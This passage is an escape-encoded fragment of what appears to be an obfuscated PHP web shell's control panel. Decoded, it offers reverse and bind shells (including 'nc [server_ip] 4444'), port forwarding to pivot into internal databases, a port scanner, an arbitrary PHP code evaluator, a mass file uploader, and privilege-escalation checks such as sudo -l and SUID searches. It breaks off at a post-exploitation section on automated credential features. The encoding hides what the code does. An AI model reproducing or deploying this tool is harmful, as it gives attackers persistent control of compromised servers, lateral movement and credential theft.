6\x6c\x65\170\72\x31\x3b\42\76\x3c\151\x6e\160\165\164\40\x74\171\160\145\x3d\x22\164\x65\x78\x74\x22\40\151\144\75\42\162\x65\166\x2d\x73\150\145\154\x6c\x2d\160\157\162\x74\42\40\x70\154\141\143\x65\x68\157\154\144\x65\x72\x3d\x22\x59\x6f\x75\x72\40\120\x6f\x72\164\42\40\163\x74\171\154\145\x3d\42\x77\x69\x64\164\150\72\61\x35\60\x70\170\73\x20\155\141\162\x67\x69\156\72\40\60\x20\60\x72\145\155\73\x22\76\x3c\142\165\164\164\157\x6e\x20\x69\144\x3d\42\143\157\x6e\156\145\x63\x74\55\162\x65\x76\x2d\163\x68\145\154\154\x2d\x62\164\156\x22\76\103\x6f\156\x6e\145\x63\164\x3c\57\x62\x75\x74\164\x6f\156\x3e\74\57\144\x69\x76\76\74\x2f\144\x69\166\76\74\57\144\151\x76\76\x3c\x64\x69\x76\x20\x69\x64\x3d\42\x74\x61\x62\x2d\x62\151\156\x64\55\x73\150\x65\x6c\154\x22\x20\x63\154\141\163\163\x3d\42\164\141\x62\55\143\x6f\x6e\164\145\x6e\164\x22\76\74\x68\63\x20\163\x74\x79\154\x65\x3d\x22\x6d\141\x72\147\151\156\55\164\157\160\72\60\x3b\x22\x3e\114\x69\x73\164\x65\x6e\40\146\x6f\162\x20\x43\157\x6e\x6e\145\x63\164\151\x6f\x6e\40\50\102\x69\x6e\144\40\123\x68\x65\154\154\51\x3c\x2f\150\x33\x3e\74\160\40\163\x74\x79\x6c\x65\x3d\x22\x63\x6f\154\157\x72\x3a\166\x61\x72\50\55\55\x74\x65\x78\x74\x2d\x6d\x65\144\x29\x3b\40\155\x61\x72\x67\x69\x6e\x2d\x62\157\164\x74\157\x6d\x3a\40\61\56\x35\x72\x65\x6d\73\x22\x3e\x54\150\145\x20\x73\145\162\x76\x65\x72\x20\x6f\x70\145\156\x73\40\141\40\160\157\162\164\x20\146\x6f\162\40\x79\157\x75\40\x74\x6f\40\143\x6f\x6e\x6e\145\x63\164\40\x74\157\56\x20\x43\x6f\x6e\156\145\143\x74\40\x77\151\x74\x68\40\74\x63\x6f\x64\x65\40\163\164\x79\x6c\x65\75\x22\x62\141\143\153\147\x72\157\x75\x6e\x64\x3a\x20\166\141\x72\50\x2d\55\142\147\55\x6c\x69\x67\x68\x74\x29\73\x20\160\141\x64\x64\x69\156\x67\72\40\63\x70\x78\x20\66\160\170\x3b\x20\x62\157\162\x64\x65\x72\x2d\x72\141\x64\x69\x75\163\72\x20\64\160\x78\73\42\76\x6e\x63\40\x5b\163\x65\162\x76\x65\x72\137\x69\160\135\40\64\64\x34\x34\74\x2f\143\x6f\144\145\x3e\56\74\x2f\160\76\74\x64\x69\166\40\x63\x6c\141\163\163\75\x22\x74\157\157\154\x2d\163\145\143\164\x69\157\156\x22\76\74\144\x69\x76\x3e\74\x69\x6e\160\165\x74\x20\x74\171\x70\145\x3d\x22\x74\x65\170\164\x22\x20\151\x64\x3d\42\142\151\x6e\x64\55\x73\150\145\x6c\154\55\160\x6f\162\x74\x22\x20\160\x6c\x61\x63\145\150\157\x6c\144\145\x72\x3d\42\x50\x6f\162\x74\40\x74\x6f\40\x4c\151\x73\x74\145\x6e\40\117\x6e\x22\x20\163\164\171\154\145\75\42\x77\x69\144\x74\150\x3a\x32\60\60\x70\x78\73\x20\x6d\141\x72\x67\151\x6e\x2d\162\x69\x67\150\164\72\x20\x31\x72\145\x6d\x3b\x22\76\74\142\165\164\x74\x6f\156\40\151\x64\x3d\42\143\157\156\156\145\x63\x74\x2d\x62\x69\x6e\x64\x2d\x73\x68\145\154\x6c\x2d\x62\164\156\42\76\114\151\163\x74\x65\156\74\57\x62\x75\164\164\157\156\76\x3c\x2f\144\x69\x76\76\x3c\x2f\x64\x69\166\76\74\x2f\x64\151\166\76\74\x2f\x64\x69\x76\76\74\x2f\144\151\166\76\xa\x20\11\x9\74\144\151\166\x20\x69\144\75\x22\166\x69\x65\x77\55\160\x69\166\x6f\164\x22\x20\x63\x6c\141\x73\163\75\x22\x76\x69\x65\x77\x2d\143\157\156\164\141\151\156\x65\162\x22\76\74\144\x69\x76\x20\x63\154\x61\x73\163\x3d\x22\x63\157\x6e\164\145\x6e\x74\55\150\x65\141\144\x65\162\42\x3e\x50\151\x76\x6f\x74\x69\x6e\x67\74\x2f\x64\151\x76\76\x3c\144\151\x76\40\143\x6c\x61\163\x73\75\42\143\157\x6e\164\145\x6e\x74\55\x61\162\145\x61\x22\x3e\74\144\151\x76\x20\143\x6c\141\163\x73\x3d\x22\x74\x6f\157\x6c\55\163\x65\x63\x74\x69\x6f\156\x22\x3e\x3c\x68\x33\76\122\145\x6d\x6f\164\x65\40\x50\x6f\162\x74\40\106\x6f\162\x77\141\x72\x64\145\162\74\x2f\x68\63\x3e\74\x70\40\163\x74\x79\x6c\x65\75\x22\x63\157\154\157\x72\72\166\x61\x72\50\55\x2d\164\x65\170\x74\x2d\x6d\x65\144\x29\x3b\x20\x6d\x61\162\x67\151\156\55\x62\x6f\164\164\157\155\72\40\61\56\x35\162\145\155\73\x22\x3e\x46\x6f\162\x77\x61\x72\x64\40\x61\x20\x70\157\x72\164\40\157\x6e\40\164\150\x69\x73\x20\163\x65\x72\166\x65\162\40\164\157\40\x61\40\x74\x61\162\x67\x65\x74\x20\x68\x6f\163\164\40\141\156\144\x20\x70\x6f\162\164\x2e\40\124\x68\151\x73\40\151\163\40\165\163\145\146\x75\x6c\x20\x66\x6f\162\x20\141\143\143\145\163\163\151\156\147\40\151\156\x74\x65\x72\156\x61\x6c\x20\163\145\162\166\151\143\145\x73\x2e\x3c\142\x72\x3e\x45\170\141\x6d\x70\154\x65\72\x20\114\x69\x73\x74\x65\x6e\x20\157\x6e\x20\x70\157\162\x74\x20\74\163\164\x72\x6f\156\147\x3e\70\x30\x38\60\74\57\163\164\162\x6f\x6e\147\x3e\x20\x68\145\x72\x65\x2c\x20\141\156\144\40\146\x6f\162\x77\141\162\x64\40\x74\157\x20\151\x6e\x74\x65\162\156\x61\154\40\144\x61\x74\141\142\141\163\145\40\141\164\40\x3c\163\164\162\157\x6e\x67\76\61\60\x2e\60\x2e\60\x2e\65\x3a\x33\63\60\x36\74\57\x73\164\162\x6f\x6e\x67\x3e\x2e\74\57\x70\76\x3c\144\x69\x76\40\163\x74\x79\x6c\x65\75\x22\x64\x69\x73\160\x6c\141\171\72\40\147\162\151\144\73\x20\x67\162\151\144\55\x74\145\x6d\x70\154\141\x74\145\55\143\157\154\165\155\x6e\163\x3a\40\x72\145\x70\x65\141\x74\50\141\165\164\157\x2d\146\x69\164\54\x20\x6d\151\156\155\x61\x78\x28\x32\x30\60\x70\x78\x2c\x20\61\146\162\x29\x29\73\x20\x67\141\x70\72\x20\61\x72\x65\x6d\73\40\x61\154\151\x67\156\x2d\x69\164\x65\155\163\72\40\x65\x6e\x64\x3b\42\x3e\x3c\151\x6e\x70\x75\164\x20\x74\x79\160\x65\75\x22\164\x65\x78\164\42\40\151\144\75\x22\160\146\55\154\151\x73\x74\x65\156\x2d\x70\x6f\162\x74\x22\40\x70\x6c\x61\x63\145\x68\157\154\144\145\x72\75\x22\114\151\x73\x74\145\x6e\40\120\x6f\162\164\40\x28\x6f\156\x20\x74\x68\151\163\40\163\145\162\166\x65\162\51\x22\x3e\x3c\x69\x6e\x70\x75\164\x20\x74\171\x70\145\75\x22\164\x65\170\164\42\40\151\144\75\42\x70\x66\55\164\x61\x72\x67\x65\164\55\150\157\163\x74\42\x20\x70\x6c\141\143\145\x68\157\154\x64\x65\162\75\x22\124\x61\x72\x67\x65\x74\40\x48\x6f\x73\x74\40\x28\151\x6e\164\x65\162\156\141\154\40\111\120\x29\x22\x3e\x3c\151\156\x70\x75\164\x20\x74\171\160\145\x3d\42\164\145\170\x74\x22\40\151\x64\75\x22\160\146\55\x74\141\x72\x67\145\x74\55\160\157\x72\x74\x22\x20\160\154\x61\143\x65\x68\157\x6c\144\x65\x72\75\x22\124\141\x72\147\145\164\x20\120\157\x72\164\40\x28\x6f\156\40\151\156\x74\145\x72\x6e\141\154\x20\111\x50\x29\42\x3e\x3c\x62\x75\164\164\x6f\156\40\x69\x64\x3d\42\163\164\x61\162\164\55\x70\157\162\x74\x2d\146\x6f\162\x77\x61\162\144\x2d\x62\164\x6e\42\40\143\154\141\x73\163\75\42\x64\x61\x6e\x67\x65\162\55\x62\164\156\42\x3e\123\164\x61\x72\164\x20\106\157\162\x77\x61\x72\x64\x65\x72\x3c\x2f\x62\165\164\164\157\x6e\76\x3c\x2f\x64\151\166\76\x3c\x70\x20\x73\x74\171\x6c\145\x3d\x22\143\157\x6c\157\162\72\166\141\x72\50\55\55\x74\145\x78\x74\55\x6d\x65\144\x29\73\40\x66\157\156\x74\x2d\163\x69\x7a\145\72\x20\x30\56\x38\x72\x65\x6d\73\40\155\141\x72\x67\x69\x6e\55\x74\157\x70\x3a\40\61\x72\145\155\x3b\42\76\x3c\163\164\x72\157\x6e\147\76\116\157\164\x65\x3a\x3c\57\x73\x74\x72\157\156\147\x3e\40\x44\165\x65\x20\x74\x6f\40\x77\x65\142\40\x73\x65\162\x76\x65\x72\x20\154\x69\155\151\164\141\164\x69\157\x6e\163\x2c\40\164\x68\x69\163\40\146\x6f\x72\x77\141\162\144\145\162\40\x77\x69\154\154\x20\x6c\x69\153\145\154\171\x20\150\141\x6e\x64\x6c\x65\x20\141\40\163\151\156\x67\154\145\x20\143\154\151\x65\156\164\x20\143\157\x6e\156\x65\143\x74\151\x6f\156\40\141\156\x64\40\x74\150\145\156\40\x74\145\x72\155\x69\x6e\141\x74\x65\x2e\x20\x53\164\141\162\164\x20\151\x74\40\152\x75\163\x74\x20\142\x65\x66\x6f\x72\145\40\171\x6f\x75\x20\151\x6e\x74\x65\x6e\144\x20\x74\x6f\x20\x63\157\156\x6e\145\x63\164\40\164\x68\x72\157\165\x67\150\40\151\164\x2e\x3c\57\x70\76\x3c\57\x64\x69\166\x3e\74\57\144\151\166\76\x3c\x2f\x64\151\166\76\xa\40\x9\x9\74\x64\151\166\x20\x69\x64\x3d\42\x76\151\145\x77\55\x6e\x65\x74\x77\x6f\162\153\x22\40\x63\x6c\141\x73\x73\75\x22\166\x69\x65\167\55\143\x6f\156\164\x61\151\156\145\162\42\76\74\x64\x69\x76\40\x63\154\x61\163\x73\75\42\x63\157\x6e\164\x65\x6e\x74\x2d\x68\145\x61\x64\145\162\x22\x3e\x4e\145\x74\x77\x6f\162\x6b\40\x54\157\157\x6c\x73\x3c\57\144\x69\x76\x3e\74\144\151\166\x20\x63\x6c\x61\x73\x73\75\x22\x63\x6f\x6e\x74\145\156\x74\55\141\x72\x65\x61\40\164\x6f\157\x6c\55\x73\x65\143\164\x69\x6f\x6e\42\76\74\x68\63\x3e\120\x6f\162\164\x20\x53\x63\x61\156\156\145\162\x3c\x2f\150\63\x3e\74\x64\151\166\76\74\x69\156\x70\x75\x74\x20\164\171\x70\145\75\x22\164\145\x78\164\42\40\x69\x64\x3d\x22\x73\143\x61\156\55\150\157\163\164\x22\x20\x70\154\x61\x63\145\x68\157\154\x64\145\x72\x3d\x22\x48\x6f\163\x74\40\50\x65\x2e\x67\56\x2c\40\61\62\67\56\60\x2e\60\56\61\51\x22\x20\163\x74\171\x6c\x65\75\42\146\154\x65\x78\72\x31\73\x22\x3e\x3c\x69\x6e\x70\x75\164\x20\x74\171\160\x65\75\x22\x74\145\170\x74\42\x20\151\x64\75\42\163\x63\x61\156\55\160\157\x72\x74\163\x22\40\160\x6c\x61\143\x65\150\157\x6c\x64\145\162\x3d\42\120\x6f\x72\164\163\40\50\x65\x2e\x67\x2e\54\40\x32\62\x2c\70\60\x2c\x34\64\63\x29\42\x20\163\x74\x79\154\145\75\42\x66\x6c\145\170\72\61\73\x20\155\141\x72\x67\x69\156\72\x20\60\40\60\162\x65\x6d\x3b\x22\76\74\x62\165\x74\x74\157\x6e\40\x69\144\75\x22\x73\x74\x61\x72\164\x2d\163\143\x61\156\x2d\142\164\x6e\42\x3e\123\x63\x61\x6e\74\57\x62\x75\x74\164\x6f\156\x3e\74\x2f\x64\151\166\76\x3c\x70\162\x65\x20\151\x64\75\x22\x73\143\141\x6e\x2d\x72\x65\x73\x75\x6c\x74\163\42\x20\x63\154\x61\163\163\x3d\42\157\x75\164\x70\165\x74\x2d\x62\157\x78\x22\x3e\x3c\57\160\x72\x65\76\x3c\x2f\x64\151\166\76\x3c\x2f\144\151\166\x3e\12\40\11\x9\x3c\144\151\166\40\x69\x64\x3d\x22\166\x69\x65\x77\x2d\x65\x76\141\154\x22\40\143\x6c\141\163\x73\x3d\42\166\151\145\x77\55\143\157\x6e\164\141\151\156\145\162\42\x3e\74\144\x69\x76\x20\143\x6c\141\163\x73\x3d\42\143\157\156\164\145\x6e\x74\55\150\x65\141\x64\145\162\x22\x3e\120\110\120\x20\103\x6f\144\x65\40\105\166\141\x6c\x75\x61\x74\157\162\74\x2f\144\151\x76\76\x3c\x64\x69\x76\x20\143\x6c\x61\163\x73\75\42\143\x6f\x6e\x74\x65\x6e\164\x2d\141\162\145\141\42\40\x73\164\171\x6c\x65\75\42\144\151\x73\160\x6c\141\171\72\x20\x66\154\145\170\73\x20\146\x6c\x65\x78\55\144\x69\162\x65\143\164\x69\x6f\x6e\72\x20\143\157\154\165\x6d\156\73\42\x3e\74\164\145\x78\164\141\162\145\141\x20\x69\x64\75\42\145\x76\141\154\x2d\x63\157\x64\145\x22\x20\163\164\x79\x6c\x65\75\x22\146\154\145\x78\72\x31\73\40\167\151\144\164\x68\72\x31\60\x30\x25\x3b\x20\x72\145\163\x69\172\x65\x3a\166\145\x72\x74\x69\143\141\154\x3b\42\x20\x70\x6c\141\x63\145\150\157\x6c\144\x65\x72\x3d\x22\x65\x63\150\157\x20\47\x48\145\x6c\x6c\x6f\x2c\x20\x57\x6f\162\x6c\144\41\47\x3b\x22\x3e\x3c\x2f\x74\x65\x78\x74\x61\x72\x65\x61\x3e\x3c\x62\x75\164\x74\x6f\x6e\40\x69\x64\75\42\x72\165\156\55\145\166\x61\154\x2d\142\x74\x6e\x22\40\x73\164\171\154\145\x3d\x22\x6d\141\162\x67\151\x6e\x2d\164\157\x70\x3a\61\162\145\155\x3b\40\x61\x6c\x69\x67\x6e\x2d\163\x65\x6c\146\x3a\x20\x66\154\145\170\55\x73\x74\141\x72\164\x3b\x22\x3e\x45\x78\145\x63\165\x74\x65\x3c\57\x62\x75\x74\164\x6f\x6e\x3e\74\x68\63\40\x73\x74\x79\154\x65\75\42\155\141\162\x67\x69\x6e\x2d\x74\157\x70\72\40\x32\162\x65\155\73\x22\76\117\165\x74\160\165\164\x3a\74\57\x68\x33\76\x3c\x70\162\145\40\151\x64\75\x22\x65\x76\x61\x6c\x2d\x6f\165\164\x70\x75\164\x22\40\143\154\141\163\163\75\x22\157\165\x74\160\165\164\55\142\x6f\x78\x22\x3e\x3c\x2f\x70\x72\x65\x3e\x3c\57\144\x69\166\76\x3c\x2f\144\151\166\x3e\12\x20\11\x9\x3c\x64\x69\x76\40\151\144\x3d\42\166\x69\x65\167\55\x6d\x61\x73\163\55\165\160\154\157\x61\x64\x65\162\42\40\x63\154\141\163\163\75\x22\x76\151\x65\167\x2d\x63\157\156\164\x61\151\156\145\162\42\76\x3c\x64\151\166\40\x63\x6c\x61\163\163\75\42\x63\x6f\156\x74\145\156\164\55\150\x65\x61\x64\x65\162\42\x3e\x4d\x61\163\x73\40\125\x70\154\x6f\141\x64\x65\x72\x3c\x2f\x64\x69\x76\76\x3c\144\x69\166\x20\x63\x6c\141\163\x73\x3d\42\x63\157\156\x74\x65\156\164\55\x61\x72\145\141\42\40\x73\x74\x79\x6c\x65\75\x22\144\x69\163\x70\x6c\x61\171\72\40\146\x6c\x65\x78\x3b\x20\x66\154\x65\x78\x2d\144\151\x72\145\x63\x74\x69\157\156\x3a\40\143\157\154\x75\x6d\x6e\x3b\x20\x67\141\x70\x3a\x20\x31\x2e\65\x72\145\x6d\73\x22\x3e\74\x64\x69\x76\x3e\x3c\150\63\x3e\x31\x2e\40\123\145\154\x65\x63\164\40\x46\x69\x6c\x65\x20\x74\x6f\40\x55\160\x6c\x6f\141\144\74\x2f\x68\x33\x3e\x3c\151\156\x70\165\x74\x20\x74\171\x70\145\x3d\x22\x66\151\x6c\145\42\40\151\x64\x3d\42\x6d\x61\163\x73\55\x75\160\154\x6f\141\x64\55\151\156\160\x75\164\42\x20\x73\x74\171\x6c\145\x3d\42\x62\x61\143\153\147\x72\x6f\x75\x6e\x64\x3a\40\166\x61\162\50\55\55\x62\x67\x2d\154\x69\x67\150\x74\51\x3b\x20\x70\141\x64\144\151\156\147\72\x20\61\60\160\170\73\40\x62\x6f\162\x64\145\x72\55\x72\141\144\151\x75\163\72\x20\66\x70\170\73\40\167\x69\x64\x74\150\72\x20\x31\60\x30\x25\x3b\x22\76\74\57\x64\151\166\76\x3c\x64\x69\166\40\x73\164\x79\x6c\x65\75\42\144\151\163\160\x6c\141\x79\72\40\x66\x6c\x65\x78\73\40\146\x6c\x65\x78\55\x64\151\162\145\143\164\x69\x6f\156\x3a\x20\143\157\x6c\165\155\156\x3b\40\146\154\x65\x78\72\x20\61\73\x20\155\151\156\x2d\150\145\x69\147\x68\x74\72\40\60\x3b\x22\x3e\74\x68\63\x3e\62\56\40\123\145\x6c\x65\x63\x74\40\x54\141\162\147\x65\x74\x20\104\x69\x72\x65\x63\x74\x6f\x72\x69\x65\x73\x3c\x2f\150\x33\76\74\144\151\x76\x20\x69\144\75\x22\144\x69\162\x2d\164\162\145\145\x2d\x63\x6f\x6e\164\141\x69\156\145\162\x22\40\163\164\171\154\x65\x3d\42\146\154\145\x78\72\x20\x31\73\x20\157\166\x65\162\146\154\x6f\x77\55\x79\72\x20\141\165\x74\157\73\x20\142\157\x72\144\x65\x72\72\40\61\x70\x78\40\x73\157\x6c\x69\144\x20\166\141\162\x28\x2d\55\x62\157\162\144\145\162\55\x63\x6f\154\x6f\x72\51\73\40\142\141\x63\x6b\x67\x72\x6f\165\156\x64\x3a\x20\x76\x61\162\x28\x2d\55\x62\x67\x2d\x64\x61\162\x6b\x29\x3b\40\160\141\x64\x64\x69\156\147\72\x20\61\162\145\155\x3b\x20\x62\157\x72\144\x65\162\55\162\141\x64\x69\x75\x73\72\40\x36\160\x78\x3b\42\76\x3c\x70\x3e\x4c\x6f\141\144\151\156\x67\40\x64\x69\x72\145\x63\x74\x6f\x72\171\40\x74\162\145\145\56\56\x2e\74\57\x70\76\x3c\x2f\144\151\x76\x3e\74\57\x64\151\x76\76\74\144\x69\166\76\x3c\x68\x33\76\x33\56\x20\105\x78\145\143\x75\164\x65\40\125\x70\154\x6f\x61\144\x3c\x2f\x68\x33\x3e\74\142\165\x74\164\157\156\x20\x69\x64\75\42\x6d\x61\x73\163\55\x75\160\x6c\157\141\144\x2d\x62\x74\x6e\42\76\x55\x70\154\157\x61\144\x20\164\x6f\40\123\x65\x6c\x65\143\x74\145\144\40\104\151\162\x65\x63\164\157\162\x69\145\163\74\57\142\x75\x74\x74\x6f\x6e\76\74\x2f\144\x69\x76\x3e\x3c\x2f\x64\151\166\76\74\x2f\144\x69\x76\76\xa\40\x9\x9\74\144\x69\x76\40\151\144\x3d\42\x76\x69\145\x77\x2d\x73\x65\143\x75\x72\x69\x74\171\42\40\x63\x6c\x61\x73\x73\x3d\42\x76\x69\145\167\55\x63\x6f\x6e\164\141\x69\x6e\x65\x72\x22\x3e\74\144\x69\x76\40\143\154\x61\163\163\x3d\42\x63\157\156\164\x65\156\x74\55\150\145\x61\144\x65\x72\42\x3e\x45\156\x75\x6d\x65\162\x61\x74\151\x6f\x6e\x20\x26\x20\x50\162\x69\166\151\154\x65\x67\x65\x20\105\x73\x63\x61\154\x61\x74\151\157\156\74\57\x64\x69\x76\x3e\74\x64\151\x76\40\143\154\x61\163\163\x3d\42\143\157\x6e\164\145\156\164\x2d\x61\162\x65\x61\42\x3e\x3c\x64\x69\x76\76\74\142\165\x74\164\x6f\156\40\151\144\75\x22\x67\x65\164\x2d\x75\163\145\x72\x2d\143\157\156\x74\145\170\x74\55\x62\x74\156\x22\x3e\x47\145\164\x20\x55\x73\145\x72\x20\103\157\156\164\145\x78\x74\40\x28\167\150\x6f\x61\x6d\x69\54\40\x69\144\51\74\x2f\x62\165\x74\x74\157\156\76\x3c\x62\165\164\x74\x6f\x6e\40\x69\x64\75\x22\163\x75\144\157\55\x63\x68\145\143\153\x2d\142\x74\x6e\x22\x20\x73\x74\171\x6c\145\x3d\x22\x6d\141\x72\147\x69\x6e\55\x6c\x65\146\x74\72\60\162\145\x6d\x3b\42\x3e\103\x68\145\143\153\x20\x53\165\144\157\x20\x2d\x6c\x3c\x2f\142\165\x74\164\x6f\156\76\x3c\57\x64\151\x76\x3e\x3c\x70\162\x65\40\151\144\x3d\42\x75\x73\x65\x72\55\143\x6f\x6e\164\145\x78\x74\x2d\157\165\x74\160\x75\164\42\x20\143\x6c\x61\163\x73\75\42\x6f\165\164\x70\x75\x74\55\x62\157\170\42\x20\163\x74\x79\154\x65\x3d\42\x64\x69\x73\x70\154\141\x79\72\x6e\x6f\156\145\73\42\x3e\74\57\160\162\145\76\74\160\x72\x65\40\x69\144\x3d\x22\x73\165\x64\157\55\143\x68\145\143\153\55\157\x75\x74\160\x75\x74\42\40\143\x6c\141\163\163\x3d\x22\157\165\164\x70\x75\x74\55\142\x6f\x78\42\40\163\164\171\154\145\75\42\x64\151\163\160\x6c\141\x79\x3a\x6e\x6f\156\145\x3b\x22\76\74\57\x70\162\x65\x3e\74\x68\162\76\x3c\x68\x33\76\x50\x72\x69\x76\x69\154\145\147\x65\x20\x45\x73\x63\x61\x6c\141\x74\x69\157\x6e\40\x53\143\x61\156\x6e\145\x72\x73\74\x2f\x68\x33\x3e\x3c\144\x69\166\x20\x63\154\x61\163\163\75\x22\x74\x6f\157\154\x2d\163\x65\x63\164\151\157\156\42\x3e\x3c\x64\151\166\76\x3c\x62\x75\164\x74\157\x6e\40\151\x64\75\42\x66\151\x6e\x64\55\x73\165\x69\x64\55\x67\165\151\x64\55\x62\164\x6e\x22\x3e\x46\x69\x6e\144\x20\x53\x55\111\x44\57\x47\125\x49\x44\40\x46\x69\x6c\x65\x73\x3c\57\142\165\x74\x74\157\156\x3e\74\160\x72\x65\40\151\144\75\42\163\x75\151\144\55\x67\x75\x69\x64\x2d\157\x75\164\160\x75\x74\42\40\143\x6c\x61\163\163\75\x22\x6f\x75\164\x70\x75\164\x2d\142\x6f\170\x22\x3e\x53\x63\141\x6e\x20\162\x65\163\x75\x6c\x74\x73\40\167\x69\x6c\154\x20\x61\x70\160\x65\141\162\x20\150\x65\x72\x65\56\74\x2f\160\x72\x65\x3e\x3c\57\x64\151\x76\x3e\74\x64\151\166\x20\x73\x74\171\x6c\145\75\42\155\141\162\x67\x69\x6e\x2d\x74\x6f\160\72\40\x31\x72\145\x6d\73\x22\x3e\xa\x20\x9\11\x9\x3c\151\156\x70\165\164\x20\164\x79\160\145\x3d\42\164\145\x78\x74\42\x20\x69\x64\75\x22\x77\162\x69\x74\x61\x62\x6c\145\55\x73\x63\141\156\55\160\141\164\x68\x22\40\x70\154\141\x63\145\150\157\x6c\144\x65\x72\75\42\x53\164\141\x72\x74\40\x50\x61\x74\x68\x20\x28\145\x2e\147\x2e\54\40\x2f\51\x22\40\x73\164\171\154\x65\x3d\x22\167\151\x64\x74\150\x3a\x31\60\x30\45\x3b\x20\155\x61\162\x67\x69\156\55\x62\x6f\164\164\157\155\72\x20\61\x72\145\x6d\73\x22\x3e\12\40\x9\11\x9\x3c\x62\165\164\164\157\x6e\40\151\x64\75\42\x66\x69\156\144\x2d\x77\162\x69\164\x61\142\154\x65\55\x62\x74\x6e\42\x3e\x46\151\x6e\144\40\127\x6f\162\x6c\x64\55\x57\162\x69\x74\141\x62\154\x65\40\106\151\154\x65\163\57\104\x69\162\163\x3c\57\142\165\164\x74\x6f\156\76\12\40\11\x9\11\74\x70\162\145\x20\151\144\x3d\x22\167\162\x69\x74\x61\x62\154\145\55\x6f\165\164\x70\x75\x74\x22\x20\143\154\x61\x73\x73\x3d\x22\157\x75\x74\160\x75\x74\55\142\x6f\170\42\76\x53\143\141\x6e\x20\162\x65\163\x75\154\164\x73\40\x77\x69\154\154\x20\141\x70\x70\x65\x61\162\x20\x68\145\x72\145\x2e\x3c\57\160\162\x65\x3e\12\x20\11\x9\74\x2f\144\x69\x76\76\74\x2f\x64\151\166\76\x3c\x68\x72\76\x3c\x64\x69\166\x20\x63\154\x61\163\163\x3d\x22\x74\157\157\x6c\55\x73\x65\143\164\x69\x6f\x6e\x22\x20\x73\164\171\x6c\145\x3d\42\155\x61\x72\x67\151\156\x2d\x74\157\160\x3a\61\162\145\155\73\x22\x3e\x3c\x64\x69\x76\x3e\74\x69\156\160\165\x74\40\x74\171\x70\145\75\42\x74\145\x78\164\42\x20\151\x64\x3d\x22\x73\x65\141\162\143\x68\x2d\160\141\x74\150\x22\x20\160\154\x61\143\x65\x68\157\154\144\x65\x72\75\42\123\164\141\x72\x74\40\x50\141\x74\150\40\x28\x65\x2e\147\x2e\x2c\x20\57\166\141\162\57\x77\167\x77\x29\x22\x20\163\x74\171\154\145\x3d\x22\146\x6c\x65\170\72\x31\73\40\155\x61\162\x67\151\x6e\55\x72\151\147\150\164\72\61\x72\145\x6d\73\x22\76\74\x69\x6e\x70\x75\164\40\x74\x79\x70\145\75\42\x74\145\x78\164\x22\x20\151\x64\75\42\x73\145\x61\x72\x63\150\x2d\x70\141\x74\x74\145\162\x6e\42\x20\x70\154\x61\x63\x65\150\157\154\144\x65\162\x3d\x22\106\151\154\145\40\120\141\x74\x74\145\x72\156\x20\50\x65\x2e\x67\x2e\x2c\40\52\x2e\x6c\x6f\x67\51\42\40\163\x74\171\x6c\x65\x3d\42\x66\154\145\170\72\61\x3b\x20\x6d\x61\x72\x67\x69\x6e\55\162\151\147\150\x74\72\x31\x72\145\x6d\x3b\42\76\74\142\165\x74\x74\x6f\156\x20\151\144\75\x22\163\x74\x61\x72\164\55\163\145\141\x72\x63\x68\x2d\x62\x74\x6e\x22\x3e\x53\145\x61\162\x63\150\x20\106\151\x6c\145\163\x20\x62\x79\x20\116\141\x6d\x65\x3c\57\142\x75\164\x74\157\156\76\x3c\57\144\151\x76\76\x3c\x70\x72\x65\40\x69\x64\x3d\x22\x73\145\141\162\x63\x68\x2d\162\x65\163\165\x6c\x74\163\55\157\165\x74\160\165\x74\42\x20\x63\x6c\141\x73\x73\75\42\157\165\164\x70\165\164\55\x62\157\x78\x22\76\x3c\57\160\162\x65\76\74\57\x64\151\x76\x3e\x3c\x68\162\76\x3c\x68\x33\x3e\125\x73\x65\162\x20\x26\40\117\x53\40\111\156\146\x6f\74\x2f\x68\63\x3e\x3c\142\165\164\164\157\x6e\40\151\144\75\x22\x67\145\x74\55\165\163\x65\162\x73\x2d\147\162\x6f\x75\160\x73\55\142\164\156\x22\x3e\x45\x6e\x75\x6d\x65\x72\x61\164\x65\40\125\163\145\162\163\40\46\x20\107\x72\157\165\160\x73\x3c\x2f\x62\165\x74\x74\x6f\156\76\x3c\x62\165\x74\x74\157\x6e\x20\x69\144\75\42\x67\x65\x74\x2d\x6b\145\x72\156\x65\x6c\55\x69\156\146\157\55\x62\x74\x6e\x22\40\x73\x74\x79\x6c\145\75\x22\155\x61\x72\x67\151\x6e\55\154\145\x66\x74\72\x30\162\145\155\x3b\x22\76\107\x65\x74\40\113\145\162\156\x65\x6c\x20\x49\156\146\157\x3c\x2f\x62\x75\x74\x74\x6f\156\x3e\x3c\x64\151\x76\40\151\144\x3d\42\x75\x73\145\162\x73\x2d\x67\162\157\x75\x70\163\55\x6f\x75\164\160\x75\164\42\40\163\x74\171\154\145\75\x22\x64\151\163\x70\154\x61\171\72\x20\x67\162\x69\144\73\x20\x67\162\151\144\x2d\x74\145\155\160\154\141\164\x65\x2d\x63\x6f\x6c\x75\x6d\x6e\163\72\x20\x31\x66\x72\40\x31\146\x72\73\40\x67\141\160\x3a\40\x31\x72\145\x6d\x3b\40\155\141\x72\147\x69\156\x2d\x74\x6f\x70\72\40\x31\162\x65\x6d\73\x22\76\x3c\57\x64\x69\166\76\74\x64\151\166\40\x69\144\75\42\x6b\x65\x72\156\145\154\x2d\151\156\x66\x6f\55\157\x75\164\x70\165\x74\x22\40\143\154\141\x73\163\75\42\157\x75\x74\160\165\164\55\142\157\170\42\40\163\164\171\x6c\145\x3d\42\x6d\141\162\x67\x69\156\55\x74\x6f\160\72\x31\162\x65\x6d\x3b\x22\76\x3c\57\144\x69\166\x3e\74\57\x64\x69\x76\76\x3c\x2f\x64\x69\x76\76\12\40\x9\11\x3c\x64\151\x76\40\x69\x64\75\x22\166\x69\145\167\55\x70\x6f\x73\164\55\x65\170\x70\x6c\157\x69\164\141\164\151\x6f\156\x22\40\143\x6c\x61\x73\163\75\x22\166\x69\x65\167\55\x63\157\156\x74\141\x69\156\x65\162\x22\76\74\x64\x69\166\x20\x63\x6c\x61\163\163\x3d\x22\x63\x6f\156\164\x65\156\x74\55\x68\x65\141\144\x65\162\42\x3e\120\157\x73\164\x2d\105\x78\x70\154\x6f\x69\x74\x61\x74\151\157\x6e\40\x54\x6f\157\154\153\151\x74\x3c\x2f\x64\x69\166\76\74\x64\151\x76\40\x63\x6c\141\x73\x73\x3d\x22\143\x6f\156\x74\x65\x6e\x74\x2d\141\162\x65\141\x22\76\x3c\x64\x69\166\40\143\154\141\163\163\75\x22\164\157\157\154\x2d\163\145\143\164\x69\157\x6e\x22\76\74\150\63\x3e\101\x75\x74\x6f\x6d\141\x74\145\144\40\x43\162\145\144\